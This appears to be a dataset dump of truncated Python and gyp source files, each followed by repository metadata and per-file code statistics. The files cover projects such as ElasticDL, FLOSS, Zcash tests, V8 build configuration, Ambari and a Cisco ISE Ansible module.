# Copyright 2020 The ElasticDL Authors. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
38.679525
129
0.640046
2,982
26,070
5.312542
0.158283
0.025186
0.042924
0.053024
0.350082
0.284434
0.227938
0.181921
0.150739
0.140323
0
0.007142
0.296433
26,070
673
130
38.736999
0.856559
0.290449
0
0.278302
0
0
0.03265
0.010753
0
0
0
0
0.011792
1
0.058962
false
0.061321
0.009434
0.009434
0.139151
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0a49c9f7fb85aae960fc2e11f50a3c6897b9e322
481
py
Python
rest_framework_saasy/settings.py
juan-ordergroove/django-rest-framework-saasy
f9ff931ee24f35737c874a196331ee52eade3b02
[ "MIT" ]
2
2015-09-05T00:36:26.000Z
2016-11-28T15:46:45.000Z
rest_framework_saasy/settings.py
juan-ordergroove/django-rest-framework-saasy
f9ff931ee24f35737c874a196331ee52eade3b02
[ "MIT" ]
13
2015-08-07T18:24:53.000Z
2021-06-10T17:23:00.000Z
rest_framework_saasy/settings.py
juan-ordergroove/django-rest-framework-saasy
f9ff931ee24f35737c874a196331ee52eade3b02
[ "MIT" ]
1
2015-09-29T09:07:06.000Z
2015-09-29T09:07:06.000Z
""" SaaS Rest Framework settings initialization """ from django.conf import settings from rest_framework.settings import import_from_string REST_SETTINGS = getattr(settings, 'REST_FRAMEWORK', {}) SAAS_SETTINGS = REST_SETTINGS.get('SAAS', {}) SAAS_MODEL = import_from_string(SAAS_SETTINGS.get('MODEL'), ...
28.294118
73
0.673597
56
481
5.5
0.339286
0.155844
0.146104
0.12987
0
0
0
0
0
0
0
0
0.220374
481
16
74
30.0625
0.821333
0.089397
0
0
0
0
0.109302
0
0
0
0
0
0
1
0
false
0
0.375
0
0.375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0a4aae24032e2b4fa3d2794154e93a3f973251fc
3,609
py
Python
floss/results.py
mr-tz/flare-floss
908531ee5349cc28dcedf41c93c37a83070c2260
[ "Apache-2.0" ]
2,067
2016-03-02T20:20:40.000Z
2021-09-21T11:07:00.000Z
floss/results.py
fireeye/flare-floss
dccba79912b22c1f24267da276d9bb8653f40d05
[ "Apache-2.0" ]
355
2016-03-05T02:28:59.000Z
2021-09-10T19:27:48.000Z
floss/results.py
mr-tz/flare-floss
908531ee5349cc28dcedf41c93c37a83070c2260
[ "Apache-2.0" ]
371
2016-03-05T02:17:22.000Z
2021-09-17T17:22:51.000Z
import datetime from enum import Enum from typing import Dict, List from dataclasses import field # we use pydantic for dataclasses so that we can # easily load and validate JSON reports. # # pydantic checks all the JSON fields look as they should # while using the nice and familiar dataclass syntax. # # really, you s...
27.135338
90
0.639235
419
3,609
5.405728
0.322196
0.027815
0.041943
0.031788
0.102428
0.083002
0.060044
0.034437
0
0
0
0.001895
0.26905
3,609
132
91
27.340909
0.85671
0.515655
0
0.203704
0
0
0.018041
0
0
0
0
0
0
1
0.018519
false
0
0.092593
0.018519
0.87037
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0a4bc575efffb381ac1bdc49b6c0aed93bc4d290
5,656
py
Python
bloody_dragon.py
BLINKING-IDIOT/bloody_dragon
80a090218268cbdffd092bfab5c09f6fb6cc4d7e
[ "MIT" ]
6
2021-06-28T05:47:33.000Z
2021-07-21T03:31:04.000Z
bloody_dragon.py
BLINKING-IDIOT/bloody_dragon
80a090218268cbdffd092bfab5c09f6fb6cc4d7e
[ "MIT" ]
null
null
null
bloody_dragon.py
BLINKING-IDIOT/bloody_dragon
80a090218268cbdffd092bfab5c09f6fb6cc4d7e
[ "MIT" ]
1
2021-09-14T05:00:15.000Z
2021-09-14T05:00:15.000Z
import os,time import choose,option os.system("clear") r = "\033[31m" g = "\033[32m" y = "\033[33m" b = "\033[34m" p = "\033[35m" banner=f"""{r} ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄▓██ ██▓ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌▒██ ██▒ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██ ██░ ▒██░█▀ ...
36.727273
150
0.42698
867
5,656
3.403691
0.269896
0.032531
0.037614
0.037953
0.486276
0.471366
0.451711
0.420197
0.39207
0.354456
0
0.012465
0.248232
5,656
153
151
36.96732
0.550564
0
0
0.375
0
0.046053
0.722419
0.065417
0
0
0
0
0
1
0.032895
false
0
0.013158
0
0.046053
0.210526
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a4c6e144a5e794e1aa926829ecfa2833c9165ed
379
py
Python
taggit_templatetags/tests/models.py
oddstr13-openshell-no/django-taggit-templatetags
90d02b48ecddd9e51c6c903ee2a3e338c6635d19
[ "BSD-3-Clause" ]
44
2015-01-08T13:50:24.000Z
2022-03-12T07:11:15.000Z
taggit_templatetags/tests/models.py
oddstr13-openshell-no/django-taggit-templatetags
90d02b48ecddd9e51c6c903ee2a3e338c6635d19
[ "BSD-3-Clause" ]
7
2016-03-16T04:19:01.000Z
2019-09-20T08:46:44.000Z
taggit_templatetags/tests/models.py
oddstr13-openshell-no/django-taggit-templatetags
90d02b48ecddd9e51c6c903ee2a3e338c6635d19
[ "BSD-3-Clause" ]
11
2015-02-21T09:38:12.000Z
2021-07-30T23:19:19.000Z
from django.db import models from taggit.managers import TaggableManager class BaseModel(models.Model): name = models.CharField(max_length=50, unique=True) tags = TaggableManager() def __unicode__(self): return self.name class Meta(object): abstract = True class AlphaModel(...
18.95
55
0.691293
43
379
5.976744
0.674419
0.101167
0
0
0
0
0
0
0
0
0
0.006849
0.229551
379
19
56
19.947368
0.873288
0
0
0.153846
0
0
0
0
0
0
0
0
0
1
0.076923
false
0.153846
0.153846
0.076923
0.769231
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0a4f80395085b922abb3c308a91d2fc2cbbe5a75
375
py
Python
backend/app/api/db/base_class.py
agnirudrasil/avault
66f97602d48cca77b508087b87b893edd12fd069
[ "MIT" ]
8
2021-11-24T06:26:38.000Z
2022-01-30T14:03:49.000Z
backend/app/api/db/base_class.py
agnirudrasil/avault
66f97602d48cca77b508087b87b893edd12fd069
[ "MIT" ]
1
2022-03-10T20:24:56.000Z
2022-03-17T12:36:27.000Z
backend/app/api/db/base_class.py
agnirudrasil/avault
66f97602d48cca77b508087b87b893edd12fd069
[ "MIT" ]
1
2021-12-05T13:36:14.000Z
2021-12-05T13:36:14.000Z
from importlib import metadata from typing import Any import sqlalchemy from sqlalchemy.ext.declarative import as_declarative, declared_attr @as_declarative() class Base: id: Any __name__: str # Generate __tablename__ automatically metadata = sqlalchemy.MetaData() @declared_attr def __tablen...
20.833333
68
0.744
43
375
6.023256
0.55814
0.100386
0
0
0
0
0
0
0
0
0
0
0.192
375
17
69
22.058824
0.854785
0.096
0
0
0
0
0
0
0
0
0
0
0
1
0.083333
false
0
0.333333
0.083333
0.833333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0a5106daa7032e03ef56a819d1db57cdd6f4833c
430
py
Python
procedural_programming/undo_redo.py
fredsonchaves07/python-fundamentals
4aee479c48f86319a2041e35ea985f971393c2ce
[ "MIT" ]
null
null
null
procedural_programming/undo_redo.py
fredsonchaves07/python-fundamentals
4aee479c48f86319a2041e35ea985f971393c2ce
[ "MIT" ]
null
null
null
procedural_programming/undo_redo.py
fredsonchaves07/python-fundamentals
4aee479c48f86319a2041e35ea985f971393c2ce
[ "MIT" ]
null
null
null
todo = [] todo_backup = [] def add_todo(task): todo.append(task) def list_todo(): return todo def undo(): last_task = todo[-1] todo_backup.append(last_task) todo.pop() def redo(): todo.append(todo_backup.pop()) add_todo("Aprender programação") add_todo("Limpar a casa") add_todo("Organi...
13.030303
34
0.669767
63
430
4.349206
0.333333
0.145985
0.189781
0.124088
0.171533
0.171533
0.171533
0
0
0
0
0.002786
0.165116
430
32
35
13.4375
0.760446
0
0
0.272727
0
0
0.113953
0
0
0
0
0
0
1
0.181818
false
0
0
0.045455
0.227273
0.181818
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a535ae92f9d14f8244df8646c3d29ff8d0d66bb
1,999
py
Python
discursoaberto/items.py
gilsondev/discursoaberto-crawler
af16c8970d88b3f1a74d14102ae0e23e4e3c4a67
[ "MIT" ]
2
2017-12-30T18:05:13.000Z
2019-04-29T12:18:17.000Z
discursoaberto/items.py
gilsondev/discursoaberto-crawler
af16c8970d88b3f1a74d14102ae0e23e4e3c4a67
[ "MIT" ]
null
null
null
discursoaberto/items.py
gilsondev/discursoaberto-crawler
af16c8970d88b3f1a74d14102ae0e23e4e3c4a67
[ "MIT" ]
1
2018-04-02T14:42:37.000Z
2018-04-02T14:42:37.000Z
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy from scrapy.loader.processors import MapCompose, TakeFirst class DiscursoItem(scrapy.Item): """ Item responsavel por receber os discursos do si...
22.211111
58
0.661831
225
1,999
5.813333
0.382222
0.201835
0.053517
0.095566
0.428135
0.374618
0.347859
0.347859
0.102446
0.102446
0
0.000652
0.232616
1,999
89
59
22.460674
0.852021
0.241621
0
0.295455
0
0
0
0
0
0
0
0
0
1
0
false
0
0.045455
0
0.772727
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a575606ee58889816ba4f9cf13cda285587137b
7,590
py
Python
depend/zcash/qa/rpc-tests/wallet_listnotes.py
fanatid/zcash_script
7c1a79771c871738ada9d4d1303e4f699bd4d8c9
[ "Apache-2.0" ]
null
null
null
depend/zcash/qa/rpc-tests/wallet_listnotes.py
fanatid/zcash_script
7c1a79771c871738ada9d4d1303e4f699bd4d8c9
[ "Apache-2.0" ]
null
null
null
depend/zcash/qa/rpc-tests/wallet_listnotes.py
fanatid/zcash_script
7c1a79771c871738ada9d4d1303e4f699bd4d8c9
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2018 The Zcash developers # Distributed under the MIT software license, see the accompanying # file COPYING or https://www.opensource.org/licenses/mit-license.php . from test_framework.test_framework import BitcoinTestFramework from test_framework.util import ( assert_equal, ...
48.037975
90
0.653228
986
7,590
4.781947
0.190669
0.110711
0.065748
0.048993
0.54719
0.517922
0.441145
0.415483
0.378579
0.344221
0
0.037697
0.231094
7,590
157
91
48.343949
0.770219
0.175626
0
0.326733
0
0
0.054093
0
0
0
0
0.006369
0.574257
1
0.009901
false
0
0.029703
0
0.049505
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
0a5970e1bbb346979ec85f11ce922f992412267e
8,581
py
Python
jsb/lib/plugins.py
NURDspace/jsonbot
400dce602700a93db80e10707c3785a0fbdfaaeb
[ "MIT" ]
1
2019-04-12T12:20:12.000Z
2019-04-12T12:20:12.000Z
jsb/lib/plugins.py
Petraea/jsonbot
04a3a0c586a8a1a3b0e5316d10cda16df9be415b
[ "MIT" ]
null
null
null
jsb/lib/plugins.py
Petraea/jsonbot
04a3a0c586a8a1a3b0e5316d10cda16df9be415b
[ "MIT" ]
1
2020-05-06T18:46:53.000Z
2020-05-06T18:46:53.000Z
# jsb/lib/plugins.py # # """ holds all the plugins. plugins are imported modules. """ ## jsb imports from thread import start_new_thread from commands import cmnds from callbacks import callbacks, remote_callbacks, first_callbacks, last_callbacks from eventbase import EventBase from persist import Persist from jsb.u...
37.308696
136
0.598765
977
8,581
5.195496
0.192426
0.028172
0.023444
0.01379
0.24606
0.192671
0.132388
0.062648
0.05595
0.05595
0
0.00084
0.306141
8,581
229
137
37.471616
0.851696
0.013052
0
0.211957
0
0
0.081276
0
0
0
0
0
0
0
null
null
0.032609
0.168478
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0a59b03177ed9e169d24a12aab146079c8bd1eb2
1,212
py
Python
yatest/testconfig.py
boluny/cray
b8c628df70a3dd488067bce393123e9686393b33
[ "MIT" ]
1
2017-10-13T06:58:25.000Z
2017-10-13T06:58:25.000Z
yatest/testconfig.py
boluny/cray
b8c628df70a3dd488067bce393123e9686393b33
[ "MIT" ]
3
2017-07-21T08:09:39.000Z
2018-08-15T08:42:39.000Z
yatest/testconfig.py
boluny/cray
b8c628df70a3dd488067bce393123e9686393b33
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- '''test cases for config_loader module''' import unittest import os import cray.craylib.config_loader as config_loader ROOT_DIR = os.path.join(os.path.dirname(__file__), "test_site") def get_test_suites(): '''Return test cases as a suite in this module''' suite = unittest.TestSuite() ...
30.3
71
0.665842
146
1,212
5.383562
0.410959
0.10687
0.069975
0.139949
0.171756
0
0
0
0
0
0
0.00103
0.198845
1,212
39
72
31.076923
0.808445
0.116337
0
0
0
0
0.13619
0
0
0
0
0
0.5
1
0.083333
false
0
0.125
0
0.291667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
0a5a23b09517e4547fca82016fd8bd85b66c2fb6
2,730
py
Python
custom/icds_reports/migrations/0156_auto_20191217_0932.py
satyaakam/commcare-hq
233f255ff20ab3a16013e9fdfdb9c1dcf632e415
[ "BSD-3-Clause" ]
null
null
null
custom/icds_reports/migrations/0156_auto_20191217_0932.py
satyaakam/commcare-hq
233f255ff20ab3a16013e9fdfdb9c1dcf632e415
[ "BSD-3-Clause" ]
1
2021-06-02T04:45:16.000Z
2021-06-02T04:45:16.000Z
custom/icds_reports/migrations/0156_auto_20191217_0932.py
satyaakam/commcare-hq
233f255ff20ab3a16013e9fdfdb9c1dcf632e415
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.26 on 2019-12-17 09:32 from __future__ import unicode_literals import custom.icds_reports.models.aggregate from django.db import migrations, models from custom.icds_reports.utils.migrations import ( get_composite_primary_key_migrations, ) from corehq.sql_db.opera...
40.147059
118
0.708791
296
2,730
6.192568
0.422297
0.048009
0.064921
0.045827
0.335516
0.154937
0.154937
0.154937
0.077469
0.077469
0
0.014078
0.193407
2,730
67
119
40.746269
0.818347
0.025275
0
0.078431
1
0
0.229002
0.119397
0
0
0
0
0
1
0.019608
false
0
0.176471
0
0.27451
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a5bcf2af13396aca4bce2d734f2fc6c087059cd
2,651
py
Python
rotate_backup.py
jsheperd/rotate_backup
3ccbaedfeff4821a58f33dee6d5f0384561c0b1e
[ "Unlicense" ]
null
null
null
rotate_backup.py
jsheperd/rotate_backup
3ccbaedfeff4821a58f33dee6d5f0384561c0b1e
[ "Unlicense" ]
null
null
null
rotate_backup.py
jsheperd/rotate_backup
3ccbaedfeff4821a58f33dee6d5f0384561c0b1e
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python import sys import os import glob import time class archive: # The archive class represent an archive media with its age related parameters def __init__(self, path): self.path = path self.time = time.gmtime(os.path.getmtime(path)) self.year = time.strftime("%Y", sel...
34.881579
85
0.630705
369
2,651
4.487805
0.336043
0.038647
0.054952
0.042271
0.039251
0.030193
0.020531
0
0
0
0
0.004088
0.261788
2,651
75
86
35.346667
0.842105
0.233497
0
0.074074
0
0
0.033201
0
0
0
0
0
0
0
null
null
0
0.074074
null
null
0.018519
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0a69fe8660042ff4ed3340d190f8085435ca6458
57,538
py
Python
ogr/abstract.py
abkosar/ogr
58870fdba9166acd65356ec4135b2870b11f5d93
[ "MIT" ]
null
null
null
ogr/abstract.py
abkosar/ogr
58870fdba9166acd65356ec4135b2870b11f5d93
[ "MIT" ]
null
null
null
ogr/abstract.py
abkosar/ogr
58870fdba9166acd65356ec4135b2870b11f5d93
[ "MIT" ]
null
null
null
# Copyright Contributors to the Packit project. # SPDX-License-Identifier: MIT import datetime import functools import warnings from enum import Enum, IntEnum from typing import ( Optional, Match, List, Dict, Set, TypeVar, Any, Sequence, Union, Callable, ) from urllib.request im...
27.702455
99
0.566982
6,183
57,538
5.191655
0.082484
0.02352
0.072336
0.037383
0.552274
0.486231
0.428847
0.393583
0.35109
0.316542
0
0.001695
0.343842
57,538
2,076
100
27.7158
0.848546
0.403055
0
0.521127
0
0
0.082536
0.036181
0
0
0
0
0
1
0.226633
false
0.00128
0.019206
0.014085
0.346991
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0a6b2ad112da3f11f6ecfebce0c61955475d0f48
235
py
Python
views/errors.py
awesome-archive/Wechat-Admin
6970ff4793bb57a864818011c3187370127fd0f9
[ "MIT" ]
null
null
null
views/errors.py
awesome-archive/Wechat-Admin
6970ff4793bb57a864818011c3187370127fd0f9
[ "MIT" ]
null
null
null
views/errors.py
awesome-archive/Wechat-Admin
6970ff4793bb57a864818011c3187370127fd0f9
[ "MIT" ]
null
null
null
unknown_error = (1000, 'unknown_error', 400) access_forbidden = (1001, 'access_forbidden', 403) unimplemented_error = (1002, 'unimplemented_error', 400) not_found = (1003, 'not_found', 404) illegal_state = (1004, 'illegal_state', 400)
39.166667
56
0.744681
30
235
5.5
0.566667
0.145455
0
0
0
0
0
0
0
0
0
0.166667
0.106383
235
5
57
47
0.619048
0
0
0
0
0
0.297872
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a6e71e4ff080ca0c186b5940247e8ab7f38e8e1
552
py
Python
arekit/contrib/source/rusentrel/entities/parser.py
nicolay-r/AREk
19c39ec0dc9a17464cade03b9c4da0c6d1d21191
[ "MIT" ]
18
2019-12-14T18:43:11.000Z
2022-03-21T05:55:36.000Z
arekit/contrib/source/rusentrel/entities/parser.py
nicolay-r/AREk
19c39ec0dc9a17464cade03b9c4da0c6d1d21191
[ "MIT" ]
284
2020-08-08T20:52:44.000Z
2022-03-31T05:26:20.000Z
arekit/contrib/source/rusentrel/entities/parser.py
nicolay-r/AREk
19c39ec0dc9a17464cade03b9c4da0c6d1d21191
[ "MIT" ]
1
2021-08-07T13:17:43.000Z
2021-08-07T13:17:43.000Z
from arekit.common.news.objects_parser import SentenceObjectsParserPipelineItem from arekit.contrib.source.rusentrel.sentence import RuSentRelSentence class RuSentRelTextEntitiesParser(SentenceObjectsParserPipelineItem): def __init__(self): super(RuSentRelTextEntitiesParser, self).__init__( i...
36.8
79
0.806159
54
552
7.740741
0.592593
0.047847
0.066986
0.086124
0.114833
0
0
0
0
0
0
0
0.134058
552
14
80
39.428571
0.874477
0
0
0
0
0
0
0
0
0
0
0
0.1
1
0.2
false
0
0.2
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6a55359531a03e823b8850c66a7bd42d50d2983c
3,375
py
Python
watchmen/common/mysql/model/table_definition.py
luke0623/watchmen-matryoshka-doll
77d7929c2d298ec814dd7e89132861da97a55a26
[ "MIT" ]
null
null
null
watchmen/common/mysql/model/table_definition.py
luke0623/watchmen-matryoshka-doll
77d7929c2d298ec814dd7e89132861da97a55a26
[ "MIT" ]
null
null
null
watchmen/common/mysql/model/table_definition.py
luke0623/watchmen-matryoshka-doll
77d7929c2d298ec814dd7e89132861da97a55a26
[ "MIT" ]
null
null
null
from sqlalchemy import Column, Integer, String, JSON, DateTime, Boolean from sqlalchemy.orm import Session from sqlalchemy.orm import declarative_base from watchmen.common.mysql.mysql_engine import engine Base = declarative_base() class topics(Base): __tablename__ = "topics" topicId = Column(String, primar...
28.125
74
0.673185
380
3,375
5.715789
0.260526
0.074586
0.077808
0.055249
0.389042
0.274401
0.211326
0.211326
0.172652
0.131676
0
0.000767
0.227556
3,375
119
75
28.361345
0.832374
0
0
0.268041
0
0
0.133037
0.032889
0
0
0
0
0
1
0.041237
false
0
0.041237
0
0.659794
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6a57763ece26ee5fda59d0e04dde25e80a8f0926
10,214
gyp
Python
test/cctest/cctest.gyp
byterom/android_external_chromium_org_v8
0180c859f67e51d9d9f87402d27553ab61c5a26b
[ "BSD-3-Clause-Clear", "BSD-3-Clause" ]
3
2015-08-08T16:56:05.000Z
2020-04-10T01:52:28.000Z
test/cctest/cctest.gyp
byterom/android_external_chromium_org_v8
0180c859f67e51d9d9f87402d27553ab61c5a26b
[ "BSD-3-Clause-Clear", "BSD-3-Clause" ]
11
2021-12-20T14:44:12.000Z
2021-12-20T14:44:32.000Z
test/cctest/cctest.gyp
byterom/android_external_chromium_org_v8
0180c859f67e51d9d9f87402d27553ab61c5a26b
[ "BSD-3-Clause-Clear", "BSD-3-Clause" ]
6
2016-01-21T16:56:44.000Z
2022-02-12T03:17:15.000Z
# Copyright 2012 the V8 project authors. All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditi...
33.488525
74
0.525162
1,081
10,214
4.92877
0.320074
0.114865
0.078829
0.039414
0.108859
0.097035
0.077703
0.077703
0.038288
0.025526
0
0.013044
0.309477
10,214
304
75
33.598684
0.742379
0.178774
0
0.233577
0
0
0.554126
0.355064
0
0
0
0
0
1
0
true
0
0
0
0
0.00365
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
6a59136f6380c7b2d3daa5882d147b7b63b4ac78
2,272
py
Python
space4hgnn/metapath_models/layers.py
zsy0828/OpenHGNN
7fe0917008c9f50269bbd308e411a1d8199d667d
[ "Apache-2.0" ]
null
null
null
space4hgnn/metapath_models/layers.py
zsy0828/OpenHGNN
7fe0917008c9f50269bbd308e411a1d8199d667d
[ "Apache-2.0" ]
null
null
null
space4hgnn/metapath_models/layers.py
zsy0828/OpenHGNN
7fe0917008c9f50269bbd308e411a1d8199d667d
[ "Apache-2.0" ]
null
null
null
import torch import torch.nn as nn import torch.nn.functional as F import dgl from dgl.nn.pytorch import GraphConv, HeteroGraphConv from openhgnn.models.MetapathConv import MetapathConv from openhgnn.models.macro_layer.SemanticConv import SemanticAttention class GeneralLayer(nn.Module): '''General wrapper for la...
28.4
101
0.613116
306
2,272
4.29085
0.264706
0.082254
0.030465
0.041889
0.101295
0.101295
0.091394
0.091394
0.091394
0
0
0.007313
0.277729
2,272
79
102
28.759494
0.792809
0.023327
0
0.065574
0
0
0.011894
0
0
0
0
0
0
0
null
null
0
0.114754
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6a59caf2bb8f605806431222c2d90634ba3da761
14,218
py
Python
ambari-server/src/main/resources/common-services/SPARK/1.2.1/package/scripts/params.py
dawnwish/ambari
accbb0048435de2d08e3d1b8771d966a94b98707
[ "Apache-2.0" ]
16
2018-05-24T10:28:24.000Z
2021-08-05T03:13:26.000Z
ambari-server/src/main/resources/common-services/SPARK/1.2.1/package/scripts/params.py
chinaworld/ambari-zh
f3b9afcbf0ed708fa5b5995a3acfb9f4131dc019
[ "Apache-2.0" ]
1
2018-10-22T17:50:00.000Z
2018-10-22T17:50:00.000Z
ambari-server/src/main/resources/common-services/SPARK/1.2.1/package/scripts/params.py
chinaworld/ambari-zh
f3b9afcbf0ed708fa5b5995a3acfb9f4131dc019
[ "Apache-2.0" ]
17
2018-07-06T08:57:00.000Z
2021-11-04T11:00:36.000Z
#!/usr/bin/python """ Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you...
50.778571
201
0.793361
1,832
14,218
5.868996
0.168668
0.089286
0.032552
0.037481
0.382906
0.2859
0.179967
0.103516
0.088542
0.05692
0
0.00477
0.085736
14,218
279
202
50.960573
0.822371
0.055423
0
0.082474
0
0.010309
0.370435
0.213913
0
0
0
0
0
0
null
null
0
0.087629
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6a5e4b5ceba94c9d9d202ab87370273d31ec045c
409
py
Python
app/config.py
sirayhancse/FastAPI-Demo
6695f4e5e8b1df97753e3b38774f6b280d4695a2
[ "MIT" ]
null
null
null
app/config.py
sirayhancse/FastAPI-Demo
6695f4e5e8b1df97753e3b38774f6b280d4695a2
[ "MIT" ]
null
null
null
app/config.py
sirayhancse/FastAPI-Demo
6695f4e5e8b1df97753e3b38774f6b280d4695a2
[ "MIT" ]
null
null
null
import os from pydantic import BaseSettings class Settings(BaseSettings): class Config: env_file = ".env" app_name: str = "FastAPI Demo" admin_email: str = "sirayhancs@gmail.com" secret_key: str = os.getenv("SECRET_KEY") hash_algo: str = os.getenv("HASH_ALGO", "HS256") access_tok...
22.722222
78
0.689487
52
409
5.211538
0.596154
0.088561
0.081181
0
0
0
0
0
0
0
0
0.02439
0.198044
409
17
79
24.058824
0.801829
0
0
0
0
0
0.202934
0.056235
0
0
0
0
0
1
0
false
0
0.181818
0
0.818182
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6a5e5416440088bcf4cc23cde8b317f92b416fe0
3,520
py
Python
plugins/modules/identity_group_info.py
steinzi/ansible-ise
0add9c8858ed8e0e5e7219fbaf0c936b6d7cc6c0
[ "MIT" ]
null
null
null
plugins/modules/identity_group_info.py
steinzi/ansible-ise
0add9c8858ed8e0e5e7219fbaf0c936b6d7cc6c0
[ "MIT" ]
null
null
null
plugins/modules/identity_group_info.py
steinzi/ansible-ise
0add9c8858ed8e0e5e7219fbaf0c936b6d7cc6c0
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright (c) 2021, Cisco Systems # GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt) DOCUMENTATION = r""" --- module: identity_group_info short_description: Information module for Identity Group description: - Get all Identity Group...
28.852459
114
0.66108
451
3,520
5.08204
0.361419
0.073735
0.036649
0.031414
0.27007
0.249127
0.249127
0.217714
0.217714
0.217714
0
0.006577
0.222443
3,520
121
115
29.090909
0.830837
0.046307
0
0.354545
0
0.045455
0.97972
0.035789
0
0
0
0
0
1
0
false
0.027273
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a5fa1d90d98400e02e852d1c189390d3e791764
454
py
Python
if.py
liuzhiyang-liu/liu
99131cdebb8c8a97f86b5d8dfa243794833fe101
[ "Apache-2.0" ]
null
null
null
if.py
liuzhiyang-liu/liu
99131cdebb8c8a97f86b5d8dfa243794833fe101
[ "Apache-2.0" ]
null
null
null
if.py
liuzhiyang-liu/liu
99131cdebb8c8a97f86b5d8dfa243794833fe101
[ "Apache-2.0" ]
null
null
null
# -*- coding: UTF-8 -*- light = input('please input a light') ''' if light =='red': print('stop') else: if light =='green': print('GoGoGO') else: if light=='yellow': print('stop or Go fast') else: print('Light is bad!!!') ''' if light == 'red': print('Stop...
19.73913
37
0.508811
57
454
4.052632
0.368421
0.121212
0.08658
0.12987
0.571429
0.406926
0.406926
0.406926
0.406926
0.406926
0
0.003096
0.288546
454
22
38
20.636364
0.712074
0.046256
0
0
0
0
0.355769
0
0
0
0
0
0
1
0
false
0
0
0
0
0.444444
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
6a60812088564623589ec4bb9ef9c70c65f79191
1,919
py
Python
background_task/settings.py
radomirvrana/django-background-tasks
